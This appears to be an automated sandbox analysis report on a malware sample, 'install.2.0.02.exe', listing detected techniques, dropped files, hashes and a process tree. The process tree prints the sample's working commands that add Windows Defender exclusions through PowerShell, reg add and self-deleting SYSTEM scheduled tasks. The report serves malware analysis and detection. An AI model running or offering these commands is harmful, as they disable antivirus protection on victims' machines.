Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 16:09

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-tl8rrsfc49
  • SHA256 1467dfe1a089bcb6e6cf8d27eea604607447c0aeba31adc9878aa51116fa45ba
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4436
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1268
    • C:\Users\Public\mCzGsW\XQ9K8x.exe
      "C:\Users\Public\mCzGsW\XQ9K8x.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5548
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mCzGsW\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5072
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mCzGsW\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:568
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1284
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5872
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:4792
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2084
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4832
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2448
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:1412
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2780
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5924
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4132
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:3600
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5552
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:620
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4748
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:3328
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4688
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4560
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4788
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mCzGsW" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5800
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mCzGsW" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:2800
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:3208
                            • C:\Users\Public\mCzGsW\XQ9K8x.exe
                              "C:\Users\Public\mCzGsW\XQ9K8x.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:4192
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4800
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1348
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:6084
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4364

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 1KB
                                    • SHA256 1536b2dc03501b4e6d1b9ea7b2714772fd68095cf038537ebdb7abfd26d72177
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 1KB
                                    • SHA256 10cc0461e16975f580142e5d8fbe79ebf4710c8c8a689dcbd73a5a841019bb37
                                    • MD5 SHA1 SHA512 TLSH

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 512B
                                    • SHA256 5eacd7d3154994e8d50a4aa946f7a42b22dc91236c923fffb60b58b09302941d
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 506B
                                    • SHA256 d178de81458f6b7d5ba68ddc98c4324e11ea3b66c5f5a727374439a7142b269e
                                    • MD5 SHA1 SHA512 TLSH

                                    __PSScriptPolicyTest_qzxevy0t.enk.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzxevy0t.enk.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\mCzGsW\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 3cfd3305ce5e2dfe52b93842474ee41e89a203496079d4cef4737fc43eabb099
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XQ9K8x.exe

                                    • Path C:\Users\Public\mCzGsW\XQ9K8x.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\mCzGsW\adoresd.dat
                                    • Size 4.8MB
                                    • SHA256 9a76c2f38588368e971f146bc28e158381c99be11f6962a9b98384c6b2f8372f
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\mCzGsW\msadox.tb
                                    • Size 8KB
                                    • SHA256 c38ed6fd5e8c8f83b2f46626a0007bc503d085b0da22c62332a101c97f5940c4
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/2944-564-0x0000017D7E3A0000-0x0000017D7E42A000-memory.dmp

                                    memory/2944-567-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-533-0x00007FF8236B0000-0x00007FF8236B2000-memory.dmp

                                    memory/2944-539-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-541-0x00007FF8236C0000-0x00007FF8236C2000-memory.dmp

                                    memory/2944-542-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-547-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-548-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-549-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-546-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-553-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-563-0x0000017D7E3A0000-0x0000017D7E42A000-memory.dmp

                                    memory/2944-561-0x0000017D7DF30000-0x0000017D7DF7E000-memory.dmp

                                    memory/2944-534-0x00007FF800830000-0x00007FF800D4E000-memory.dmp

                                    memory/2944-565-0x0000017D7E3A0000-0x0000017D7E42A000-memory.dmp

                                    memory/2944-562-0x0000017D7E3A0000-0x0000017D7E42A000-memory.dmp

                                    memory/2944-559-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/2944-568-0x0000017D7D650000-0x0000017D7DF27000-memory.dmp

                                    memory/4192-591-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-590-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-594-0x00007FF8236B0000-0x00007FF8236B2000-memory.dmp

                                    memory/4192-593-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-592-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-579-0x00007FF800830000-0x00007FF800D4E000-memory.dmp

                                    memory/4192-583-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-586-0x0000020AD3C30000-0x0000020AD4507000-memory.dmp

                                    memory/4192-585-0x00007FF8236C0000-0x00007FF8236C2000-memory.dmp

                                    memory/4436-527-0x00007FF817690000-0x00007FF8176A2000-memory.dmp

                                    memory/4436-0-0x0000000000400000-0x000000000040E000-memory.dmp

                                    memory/4436-2-0x0000000001F50000-0x0000000001F5C000-memory.dmp

                                    memory/4436-504-0x00007FF817690000-0x00007FF8176A2000-memory.dmp

                                    memory/4436-526-0x0000000000400000-0x000000000040E000-memory.dmp

                                    memory/4436-1-0x0000000000400000-0x000000000040E000-memory.dmp

                                    memory/5548-605-0x0000024C72870000-0x0000024C72892000-memory.dmp

                                    memory/5548-614-0x0000024C72B10000-0x0000024C72B2E000-memory.dmp

                                    memory/5548-615-0x0000024C72BB0000-0x0000024C72C62000-memory.dmp

                                    memory/5548-616-0x0000024C72B30000-0x0000024C72B3A000-memory.dmp